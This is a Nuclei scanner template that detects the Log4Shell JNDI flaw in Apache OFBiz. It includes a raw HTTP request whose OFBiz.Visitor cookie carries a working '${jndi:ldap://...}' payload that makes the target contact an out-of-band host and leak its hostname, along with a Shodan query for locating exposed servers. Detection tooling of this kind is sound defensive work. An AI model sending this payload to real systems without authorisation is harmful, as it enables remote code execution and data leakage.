51 lines
1.8 KiB
YAML
51 lines
1.8 KiB
YAML
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id: apache-ofbiz-log4j-rce
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info:
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name: Apache OFBiz - JNDI Remote Code Execution (Apache Log4j)
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author: pdteam
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severity: critical
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description: |
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Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.
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reference:
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- https://issues.apache.org/jira/browse/OFBIZ-12449
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- https://ofbiz.apache.org/
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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remediation: Upgrade to Apache OFBiz version 8.12.03 or later.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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shodan-query: http.html:"Apache OFBiz"
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tags: cve,cve2021,ofbiz,oast,log4j,rce,apache,jndi,kev
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http:
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- raw:
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- |
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GET /webtools/control/main HTTP/1.1
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Host: {{Hostname}}
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Cookie: OFBiz.Visitor=${jndi:ldap://${hostName}.{{interactsh-url}}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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# Enhanced by mp on 2022/05/27
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